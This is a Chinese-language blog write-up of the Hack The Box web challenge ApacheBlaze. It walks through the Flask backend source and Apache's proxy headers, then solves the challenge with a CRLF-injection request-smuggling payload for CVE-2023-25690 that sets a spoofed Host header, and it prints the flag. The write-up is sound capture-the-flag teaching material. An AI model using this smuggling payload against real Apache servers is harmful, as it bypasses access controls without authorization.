HTB_ApacheBlaze

ApacheBlaze

题目描述

Step into the ApacheBlaze universe, a world of arcade clicky games. Rumor has it that by playing certain games, you have the chance to win a grand prize. However, before you can dive into the fun, you’ll need to crack a puzzle.

走进 ApacheBlaze 宇宙,这是一个充满街机点击游戏的世界。有传言说,通过玩某些游戏,您有机会赢得大奖。然而,在享受乐趣之前,您需要破解一个谜题。

题目分析

打开题目网址,可以看到有4个Game,但点击Game1~Game3都只会提示:

This game is currently unavailable due to internal maintenance.

而点击Game4则会提示

This game is currently available only from dev.apacheblaze.local.

此处猜测题目的考点可能在请求伪造

下载题目源码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# backend/src/app.py
from flask import Flask, request, jsonify

app = Flask(__name__)

app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'

@app.route('/', methods=['GET'])
def index():
game = request.args.get('game')

if not game:
return jsonify({
'error': 'Empty game name is not supported!.'
}), 400

elif game not in app.config['GAMES']:
return jsonify({
'error': 'Invalid game name!'
}), 400

elif game == 'click_topia':
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200
else:
return jsonify({
'message': 'This game is currently available only from dev.apacheblaze.local.'
}), 200

else:
return jsonify({
'message': 'This game is currently unavailable due to internal maintenance.'
}), 200

从此代码不难看出,通过选择Game4并提供固定的X-Forwarded-Host即可得到flag

但经过抓包修改测试,这样并不能得到flag

而原因是X-Forwarded-Host不仅存在dev.apacheblaze.local还存在有其他的元素

通过Apache的文档,我们可以知道这种情况的原因:

1
2
3
4
5
6
7
8
当以反向代理模式运行时(例如,使用 ProxyPass 指令),mod_proxy_http 会添加多个请求标头,以便将信息传递到原始服务器。这些标头是:

X-Forwarded-For
客户端的 IP 地址。
X-Forwarded-Host
客户端在 Host HTTP 请求标头中请求的原始主机。
X-Forwarded-Server
代理服务器的主机名。

因此,我们需要考虑如何仅在X-Forwarded-Host设置一个正确的元素

这里利用漏洞:HTTP 请求走私攻击 (CVE-2023–25690)

通过此漏洞,我们可以在发送给目标服务器的第一个请求中去隐藏第二个请求,而这样可以使得我们的第二个请求直接从反向代理发送,因此不会添加其他内容在X-Forwarded-Host

解题过程

综上所述,尝试构造Payload:

1
/api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0a

Flag:HTB{1t5_4ll_4b0ut_Th3_Cl1ck5}


HTB_ApacheBlaze
http://example.com/2024/05/27/htb-apacheblaze/
作者
ZERO
发布于
2024年5月27日
许可协议